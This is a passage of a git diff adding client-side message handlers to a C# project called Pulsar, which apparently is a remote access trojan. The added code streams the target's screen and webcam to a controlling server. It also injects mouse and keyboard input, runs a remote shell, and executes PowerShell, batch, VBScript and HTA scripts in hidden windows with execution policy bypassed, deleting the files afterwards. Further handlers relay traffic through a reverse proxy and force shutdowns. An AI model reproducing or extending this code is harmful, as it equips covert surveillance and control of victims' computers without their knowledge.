} + + private void TryDrawCursorOnBuffer(IntPtr buffer, int width, int height, int stride, int monitorIndex) + { + try + { + var ci = new CURSORINFO_NATIVE { cbSize = Marshal.SizeOf(typeof(CURSORINFO_NATIVE)) }; + if (!GetCursorInfo(out ci) || ci.flags != CURSOR_SHOWING) return; + + var bounds = Screen.AllScreens[monitorIndex].Bounds; + using (var bmp = new Bitmap(width, height, stride, PixelFormat.Format32bppArgb, buffer)) + using (var g = Graphics.FromImage(bmp)) + { + var hdc = g.GetHdc(); + try + { + DrawIcon(hdc, ci.ScreenPosition.x - bounds.X, ci.ScreenPosition.y - bounds.Y, ci.hCursor); + } + finally + { + g.ReleaseHdc(hdc); + } + } + } + catch { } + } + + private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame) + { + if (frameData == null || _clientMain == null) return; + + try + { + var response = new GetDesktopResponse + { + Image = frameData, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(), + IsLastRequestedFrame = isLastRequestedFrame, + FrameRate = _lastFrameRate + }; + + _clientMain.Send(response); + } + catch (Exception ex) + { + Debug.WriteLine($"Error sending frame to server: {ex.Message}"); + } + } + + private void ClearFrameBuffer() + { + while (_frameBuffer.TryDequeue(out _)) { } + } + + private void Execute(ISender sender, DoMouseEvent message) + { + try + { + Screen[] allScreens = Screen.AllScreens; + int offsetX = allScreens[message.MonitorIndex].Bounds.X; + int offsetY = allScreens[message.MonitorIndex].Bounds.Y; + Point p = new Point(message.X + offsetX, message.Y + offsetY); + + // Disable screensaver if active before input + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); + break; + case MouseAction.RightDown: + case MouseAction.RightUp: + NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); + break; + case MouseAction.MoveCursor: + NativeMethodsHelper.DoMouseMove(p); + break; + case MouseAction.ScrollDown: + NativeMethodsHelper.DoMouseScroll(p, true); + break; + case MouseAction.ScrollUp: + NativeMethodsHelper.DoMouseScroll(p, false); + break; + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error executing mouse event: {ex.Message}"); + } + } + + private void Execute(ISender sender, DoKeyboardEvent message) + { + try + { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + + NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); + } + catch (Exception ex) + { + Debug.WriteLine($"Error executing keyboard event: {ex.Message}"); + } + } + + private void Execute(ISender sender, DoDrawingEvent message) + { + try + { + if (message.IsClearAll) + { + ScreenOverlay.ClearDrawings(message.MonitorIndex); + } + else if (message.IsEraser) + { + ScreenOverlay.DrawEraser( + message.PrevX, message.PrevY, + message.X, message.Y, + message.StrokeWidth, message.MonitorIndex); + } + else + { + ScreenOverlay.Draw( + message.PrevX, message.PrevY, + message.X, message.Y, + message.StrokeWidth, message.ColorArgb, message.MonitorIndex); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error processing drawing event: {ex.Message}"); + } + } + + private void Execute(ISender client, GetMonitors message) + { + int screenCountTotal = DisplayManager.GetDisplayCount(); + + Debug.WriteLine(screenCountTotal); + + client.Send(new GetMonitorsResponse { Number = screenCountTotal }); + } + + private void Execute(ISender client, DoInstallVirtualMonitor message) + { + string downloadURL = "https://www.amyuni.com/downloads/usbmmidd_v2.zip"; + string dropPath = Path.Combine(Settings.DIRECTORY, "usbmmidd_v2.zip"); + + // download the virtual monitor driver + if (!File.Exists(dropPath)) + { + try + { + using (var wc = new System.Net.WebClient()) + { + wc.DownloadFile(downloadURL, dropPath); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error downloading virtual monitor driver: {ex.Message}"); + return; + } + } + + // extract the driver + string extractPath = Path.Combine(Settings.DIRECTORY, "usbmmidd_v2"); + if (!Directory.Exists(extractPath)) + { + try + { + System.IO.Compression.ZipFile.ExtractToDirectory(dropPath, extractPath); + } + catch (Exception ex) + { + Debug.WriteLine($"Error extracting virtual monitor driver: {ex.Message}"); + return; + } + } + + extractPath = Path.Combine(extractPath, "usbmmidd_v2"); + + // deviceinstaller64.exe install usbmmIdd.inf usbmmidd + // deviceinstaller64.exe enableidd 1 + + // install the driver + string installPath = Path.Combine(extractPath, "deviceinstaller64.exe"); + string arguments = $"install {Path.Combine(extractPath, "usbmmIdd.inf")} usbmmidd"; + ProcessStartInfo psi = new ProcessStartInfo(installPath, arguments); + psi.UseShellExecute = false; + psi.RedirectStandardOutput = true; + psi.CreateNoWindow = true; + psi.RedirectStandardError = true; + + Process p = Process.Start(psi); + p.WaitForExit(); + + // enable the driver + arguments = "enableidd 1"; + psi = new ProcessStartInfo(installPath, arguments); + psi.UseShellExecute = false; + psi.RedirectStandardOutput = true; + psi.CreateNoWindow = true; + psi.RedirectStandardError = true; + + p = Process.Start(psi); + p.WaitForExit(); + } + + private void Execute(ISender client, DoUninstallVirtualMonitor message) + { + string extractPath = Path.Combine(Settings.DIRECTORY, "usbmmidd_v2", "usbmmidd_v2"); + string installPath = Path.Combine(extractPath, "deviceinstaller64.exe"); + // disable the driver + string arguments = "enableidd 0"; + ProcessStartInfo psi = new ProcessStartInfo(installPath, arguments); + psi.UseShellExecute = false; + psi.RedirectStandardOutput = true; + psi.CreateNoWindow = true; + psi.RedirectStandardError = true; + Process p = Process.Start(psi); + p.WaitForExit(); + } + + private void Execute(ISender client, StartProcessOnMonitor message) + { + try + { + string fullCommandLine = message.Application; + string application; + string arguments; + + if (!string.IsNullOrWhiteSpace(fullCommandLine)) + { + fullCommandLine = fullCommandLine.Trim(); + if (fullCommandLine.StartsWith("\"")) + { + int endQuote = fullCommandLine.IndexOf('\"', 1); + if (endQuote > 0) + { + application = fullCommandLine.Substring(1, endQuote - 1); + arguments = fullCommandLine.Substring(endQuote + 1).TrimStart(); + } + else + { + application = fullCommandLine.Trim('\"'); + arguments = string.Empty; + } + } + else + { + int firstSpace = fullCommandLine.IndexOf(' '); + if (firstSpace > 0) + { + application = fullCommandLine.Substring(0, firstSpace); + arguments = fullCommandLine.Substring(firstSpace + 1).TrimStart(); + } + else + { + application = fullCommandLine; + arguments = string.Empty; + } + } + } + else + { + application = string.Empty; + arguments = string.Empty; + } + + Screen[] allScreens = Screen.AllScreens; + if (message.MonitorID < 0 || message.MonitorID >= allScreens.Length) + { + Debug.WriteLine($"Invalid monitor ID: {message.MonitorID}. Using primary monitor instead."); + message.MonitorID = 0; // default to primary + } + Screen targetScreen = allScreens[message.MonitorID]; + + var workingArea = targetScreen.WorkingArea; + int startX = workingArea.Left; + int startY = workingArea.Top; + + Debug.WriteLine($"Starting process '{application}' on monitor {message.MonitorID} at position ({startX}, {startY})"); + + var startInfo = new ProcessStartInfo + { + FileName = application, + Arguments = arguments, + UseShellExecute = true + }; + + Process process = Process.Start(startInfo); + if (process == null) + { + Debug.WriteLine("Failed to start process."); + return; + } + + ThreadPool.QueueUserWorkItem(state => + { + try + { + for (int attempt = 0; attempt < 50; attempt++) + { + try + { + if (process.HasExited) + { + Debug.WriteLine("Process exited before window could be positioned"); + return; + } + + IntPtr hWnd = process.MainWindowHandle; + if (hWnd != IntPtr.Zero) + { + Debug.WriteLine($"Found window handle after {attempt * 100}ms, positioning on monitor {message.MonitorID}"); + + Screen[] screens = Screen.AllScreens; + if (message.MonitorID >= 0 && message.MonitorID < screens.Length) + { + var bounds = screens[message.MonitorID].WorkingArea; + + NativeMethods.SetWindowPos( + hWnd, + IntPtr.Zero, + bounds.X, + bounds.Y, + bounds.Width, + bounds.Height, + NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_SHOWWINDOW); + + Debug.WriteLine($"Window positioned at ({bounds.X}, {bounds.Y}) with size ({bounds.Width}x{bounds.Height})"); + + Thread.Sleep(300); + + NativeMethods.SetWindowPos( + hWnd, + IntPtr.Zero, + bounds.X, + bounds.Y, + bounds.Width, + bounds.Height, + NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_SHOWWINDOW); + } + + break; + } + } + catch (InvalidOperationException ex) + { + Debug.WriteLine($"Error getting window handle: {ex.Message}"); + } + + Thread.Sleep(100); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error positioning window: {ex.Message}"); + } + }); + + Debug.WriteLine($"Process started, window positioning in progress"); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting process on monitor: {ex.Message}"); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + StopScreenStreaming(); + _streamCodec?.Dispose(); + _cancellationTokenSource?.Dispose(); + _frameRequestEvent?.Dispose(); + _reusableStream?.Dispose(); + + _drawingThreadRunning = false; + _drawingSignal.Set(); + if (_drawingThread != null && _drawingThread.IsAlive) + { + _drawingThread.Join(1000); + } + _drawingSignal.Dispose(); + _screenOverlay?.Dispose(); + + // Clean up GPU resources + if (_useGPU) + { + ScreenHelperGPU.CleanupResources(); + } + + if (_linearFrameBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(_linearFrameBuffer); + _linearFrameBuffer = IntPtr.Zero; + _linearBufferSize = 0; + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/RemoteScriptingHandler.cs b/Pulsar.Client/Messages/RemoteScriptingHandler.cs new file mode 100644 index 0000000..ef4fa11 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteScriptingHandler.cs @@ -0,0 +1,123 @@ +using Pulsar.Client.Helper; +using Pulsar.Client.IpGeoLocation; +using Pulsar.Client.User; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using Pulsar.Client.IO; +using Pulsar.Common.Messages.Administration.SystemInfo; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.MessageBox; +using System.Threading; +using System.CodeDom.Compiler; +using System.Diagnostics; + +namespace Pulsar.Client.Messages +{ + public class RemoteScriptingHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoExecScript; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoExecScript msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoExecScript message) + { + new Thread(() => + { + string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()); + + if (message.Language == "Powershell") + { + tempFile += ".ps1"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("powershell", "-ExecutionPolicy Bypass -File " + tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else if (message.Language == "Batch") + { + tempFile += ".bat"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("cmd", "/c " + tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else if (message.Language == "VBScript") + { + tempFile += ".vbs"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("cscript", tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else if (message.Language == "JavaScript") + { + if (message.Script.Contains("WScript.") || message.Script.Contains("ActiveXObject")) + { + tempFile += ".js"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("cscript", "//Nologo " + tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else + { + tempFile += ".hta"; + string scriptContent = ""; + File.WriteAllText(tempFile, scriptContent); + ProcessStartInfo psi = new ProcessStartInfo("mshta", tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = true + }; + Process process = Process.Start(psi); + if (!process.WaitForExit(5000)) + { + process.Kill(); + } + File.Delete(tempFile); + } + } + }) + { IsBackground = true }.Start(); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/RemoteShellHandler.cs b/Pulsar.Client/Messages/RemoteShellHandler.cs new file mode 100644 index 0000000..5e941e0 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteShellHandler.cs @@ -0,0 +1,97 @@ +using Pulsar.Client.IO; +using Pulsar.Client.Networking; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.RemoteShell; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; + +namespace Pulsar.Client.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : IMessageProcessor, IDisposable + { + /// + /// The current remote shell instance. + /// + private Shell _shell; + + /// + /// The client which is associated with this remote shell handler. + /// + private readonly PulsarClient _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(PulsarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + } + + /// + /// Handles changes of the client state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientStateChange(Networking.Client s, bool connected) + { + // close shell on client disconnection + if (!connected) + { + _shell?.Dispose(); + } + } + + /// + public bool CanExecute(IMessage message) => message is DoShellExecute; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecute shellExec: + Execute(sender, shellExec); + break; + } + } + + private void Execute(ISender client, DoShellExecute message) + { + string input = message.Command; + + if (_shell == null && input == "exit") return; + if (_shell == null) _shell = new Shell(_client); + + if (input == "exit") + _shell.Dispose(); + else + _shell.ExecuteCommand(input); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _shell?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/RemoteWebcamHandler.cs b/Pulsar.Client/Messages/RemoteWebcamHandler.cs new file mode 100644 index 0000000..81f4cf3 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteWebcamHandler.cs @@ -0,0 +1,435 @@ +using Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Diagnostics; +using Pulsar.Common.Messages.Webcam; +using Pulsar.Common.Messages.Other; +using System.Collections.Concurrent; + +namespace Pulsar.Client.Messages +{ + public class RemoteWebcamHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private BitmapData _webcamData = null; + private Bitmap _webcam = null; + private ISender _clientMain; + private Thread _captureThread; + private WebcamHelper _webcamHelper; + + private WebcamHelper WebcamHelper + { + get + { + if (_webcamHelper == null) + { + _webcamHelper = new WebcamHelper(); + } + return _webcamHelper; + } + } + + private CancellationTokenSource _cancellationTokenSource; + + // frame control variables + private readonly ConcurrentQueue _frameBuffer = new ConcurrentQueue(); + private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false); + private int _pendingFrameRequests = 0; + + // max buffer size to prevent memory issues + private const int MAX_BUFFER_SIZE = 10; + + private readonly Stopwatch _stopwatch = new Stopwatch(); + private int _frameCount = 0; + private float _lastFrameRate = 0f; + private bool _sendFrameRateNext = false; + + private MemoryStream _reusableStream; + + private MemoryStream ReusableStream + { + get + { + if (_reusableStream == null) + { + _reusableStream = new MemoryStream(); + } + return _reusableStream; + } + } + + public override bool CanExecute(IMessage message) => message is GetWebcam || + message is GetAvailableWebcams; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetWebcam msg: + Execute(sender, msg); + break; + case GetAvailableWebcams msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetWebcam message) + { + if (message.Status == RemoteWebcamStatus.Stop) + { + StopWebcamStreaming(); + } + else if (message.Status == RemoteWebcamStatus.Start) + { + StartWebcamStreaming(client, message); + } + else if (message.Status == RemoteWebcamStatus.Continue) + { + // server is requesting more frames + Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested); + _frameRequestEvent.Set(); + } + } + + private void StartWebcamStreaming(ISender client, GetWebcam message) + { + try + { + try + { + WebcamHelper.StartWebcam(message.DisplayIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting webcam: {ex.Message}"); + OnReport("Failed to start webcam: " + ex.Message); + return; + } + Debug.WriteLine("Starting remote webcam session"); + + var webcamBounds = WebcamHelper.GetBounds(); + var resolution = new Resolution { Height = webcamBounds.Height, Width = webcamBounds.Width }; + + try + { + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote webcam session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error initializing stream codec: {ex.Message}"); + OnReport("Failed to initialize stream codec: " + ex.Message); + return; + } + + _clientMain = client; + + // clear any pending frame requests and existing frames + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested); + + if (_captureThread == null || !_captureThread.IsAlive) + { + try + { + _cancellationTokenSource = new CancellationTokenSource(); + _captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token)); + _captureThread.Start(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting capture thread: {ex.Message}"); + OnReport("Failed to start capture thread: " + ex.Message); + } + } + } + catch (Exception ex) + { + Debug.WriteLine($"Unexpected error in StartWebcamStreaming: {ex.Message}"); + OnReport("Unexpected error: " + ex.Message); + } + } + + private void StopWebcamStreaming() + { + try + { + try + { + WebcamHelper.StopWebcam(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error stopping webcam: {ex.Message}"); + } + Debug.WriteLine("Stopping remote webcam session"); + + _cancellationTokenSource?.Cancel(); + + if (_captureThread != null && _captureThread.IsAlive) + { + try + { + _frameRequestEvent.Set(); // wake up thread + _captureThread.Join(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error joining capture thread: {ex.Message}"); + } + _captureThread = null; + } + + if (_webcam != null) + { + if (_webcamData != null) + { + try + { + _webcam.UnlockBits(_webcamData); + } + catch (Exception ex) + { + Debug.WriteLine($"Error unlocking bits: {ex.Message}"); + } + _webcamData = null; + } + try + { + _webcam.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing webcam: {ex.Message}"); + } + _webcam = null; + } + + if (_streamCodec != null) + { + try + { + _streamCodec.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing stream codec: {ex.Message}"); + } + _streamCodec = null; + } + + // clear the buffer + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, 0); + } + catch (Exception ex) + { + Debug.WriteLine($"Unexpected error in StopWebcamStreaming: {ex.Message}"); + } + } + + private void BufferedCaptureLoop(CancellationToken cancellationToken) + { + Debug.WriteLine("Starting buffered capture loop"); + _stopwatch.Start(); + + while (!cancellationToken.IsCancellationRequested) + { + try + { + // wait for frame requests if the buffer is full or no frames are requested + if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0) + { + Debug.WriteLine($"Waiting for frame requests. Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}"); + _frameRequestEvent.WaitOne(500); + + // if cancellation was requested during the wait + if (cancellationToken.IsCancellationRequested) + break; + + continue; + } + + // capture frame and add to buffer + byte[] frameData = CaptureFrame(); + if (frameData != null) + { + _frameBuffer.Enqueue(frameData); + + // increment frame counter for statistics + _frameCount++; + if (_stopwatch.ElapsedMilliseconds >= 1000) + { + Debug.WriteLine($"Capture FPS: {_frameCount}, Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}"); + _lastFrameRate = _frameCount; + _frameCount = 0; + _stopwatch.Restart(); + _sendFrameRateNext = true; + } + } + + // send frames if we have pending requests + while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend)) + { + SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in buffered capture loop: {ex.Message}"); + Thread.Sleep(100); // Avoid tight loop in case of repeated errors + } + } + + Debug.WriteLine("Buffered capture loop ended"); + } + + private byte[] CaptureFrame() + { + try + { + _webcam = WebcamHelper.GetLatestFrame(); + + if (_webcam == null) + { + return null; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _webcam; + + if (_webcam.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_webcam.Width, _webcam.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_webcam, 0, 0, _webcam.Width, _webcam.Height); + } + _webcam.Dispose(); + _webcam = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + processedBitmap = _webcam; + } + } + + _webcamData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadWrite, processedBitmap.PixelFormat); + + ReusableStream.Position = 0; + ReusableStream.SetLength(0); + + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_webcamData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, ReusableStream); + + return ReusableStream.ToArray(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing frame: {ex.Message}"); + return null; + } + finally + { + if (_webcamData != null) + { + _webcam.UnlockBits(_webcamData); + _webcamData = null; + } + _webcam?.Dispose(); + _webcam = null; + } + } + + private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame) + { + if (frameData == null || _clientMain == null) return; + + try + { + var response = new GetWebcamResponse + { + Image = frameData, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + IsLastRequestedFrame = isLastRequestedFrame, + FrameRate = 0f + }; + + if (_sendFrameRateNext) + { + response.FrameRate = _lastFrameRate; + _sendFrameRateNext = false; + } + + _clientMain.Send(response); + } + catch (Exception ex) + { + Debug.WriteLine($"Error sending frame to server: {ex.Message}"); + } + } + + private void ClearFrameBuffer() + { + while (_frameBuffer.TryDequeue(out _)) { } + } + + private void Execute(ISender client, GetAvailableWebcams message) + { + client.Send(new GetAvailableWebcamsResponse { Webcams = WebcamHelper.GetWebcams() }); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + StopWebcamStreaming(); + _streamCodec?.Dispose(); + _cancellationTokenSource?.Dispose(); + _frameRequestEvent?.Dispose(); + _reusableStream?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/ReverseProxyHandler.cs b/Pulsar.Client/Messages/ReverseProxyHandler.cs new file mode 100644 index 0000000..d2befa6 --- /dev/null +++ b/Pulsar.Client/Messages/ReverseProxyHandler.cs @@ -0,0 +1,59 @@ +using Pulsar.Client.Networking; +using Pulsar.Client.ReverseProxy; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.ReverseProxy; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.Messages +{ + public class ReverseProxyHandler : IMessageProcessor + { + private readonly PulsarClient _client; + + public ReverseProxyHandler(PulsarClient client) + { + _client = client; + } + + public bool CanExecute(IMessage message) => message is ReverseProxyConnect || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnect msg: + Execute(sender, msg); + break; + case ReverseProxyData msg: + Execute(sender, msg); + break; + case ReverseProxyDisconnect msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, ReverseProxyConnect message) + { + _client.ConnectReverseProxy(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + proxyClient?.SendToTargetServer(message.Data); + } + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + socksClient?.Disconnect(); + } + } +} diff --git a/Pulsar.Client/Messages/ShutdownHandler.cs b/Pulsar.Client/Messages/ShutdownHandler.cs new file mode 100644 index 0000000..d79a2f7 --- /dev/null +++ b/Pulsar.Client/Messages/ShutdownHandler.cs @@ -0,0 +1,209 @@ +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.Actions; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Principal; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class ShutdownHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShutdownAction; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoShutdownAction msg) + Execute(sender, msg); + } + + private void Execute(ISender client, DoShutdownAction message) + { + try + { + switch (message.Action) + { + case ShutdownAction.Shutdown: + client.Send(new SetStatus { Message = "Client is shutting down..." }); + if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.ShutDown | ExitWindows.ForceIfHung, 0)) + { + // Fallback to shutdown.exe if native API fails + Process.Start(new ProcessStartInfo + { + FileName = "shutdown", + Arguments = "/s /t 0", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = true + }); + } + break; + + case ShutdownAction.Restart: + client.Send(new SetStatus { Message = "Client is restarting..." }); + if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.Reboot | ExitWindows.ForceIfHung, 0)) + { + // Fallback to shutdown.exe if native API fails + Process.Start(new ProcessStartInfo + { + FileName = "shutdown", + Arguments = "/r /t 0", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = true + }); + } + break; + + case ShutdownAction.Standby: + client.Send(new SetStatus { Message = "Client entering standby mode..." }); + if (!SetSuspendState(false, true, true)) + client.Send(new SetStatus { Message = "Standby request failed." }); + break; + + case ShutdownAction.Lockscreen: + client.Send(new SetStatus { Message = "Client screen is being locked..." }); + if (!LockWorkStation()) + client.Send(new SetStatus { Message = "LockWorkStation failed, fallback unavailable." }); + break; + + default: + client.Send(new SetStatus { Message = "Unknown shutdown action requested." }); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Shutdown action failed: {ex.Message}" }); + } + } + + #region Native interop + + [Flags] + private enum ExitWindows : uint + { + LogOff = 0x00000000, + ShutDown = 0x00000001, + Reboot = 0x00000002, + PowerOff = 0x00000008, + ForceIfHung = 0x00000010, + Force = 0x00000004 + } + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool ExitWindowsEx(ExitWindows uFlags, uint dwReason); + + [DllImport("powrprof.dll", SetLastError = true)] + private static extern bool SetSuspendState(bool hibernate, bool forceCritical, bool disableWakeEvent); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool LockWorkStation(); + + // Token / privilege APIs + private const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; + private const int TOKEN_ADJUST_PRIVILEGES = 0x0020; + private const int TOKEN_QUERY = 0x0008; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct LUID + { + public uint LowPart; + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + private struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + public LUID_AND_ATTRIBUTES Privileges; + } + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, + ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + private static bool EnableShutdownPrivilege() + { + if (!IsAdministrator()) + return false; + + if (!OpenProcessToken(Process.GetCurrentProcess().Handle, 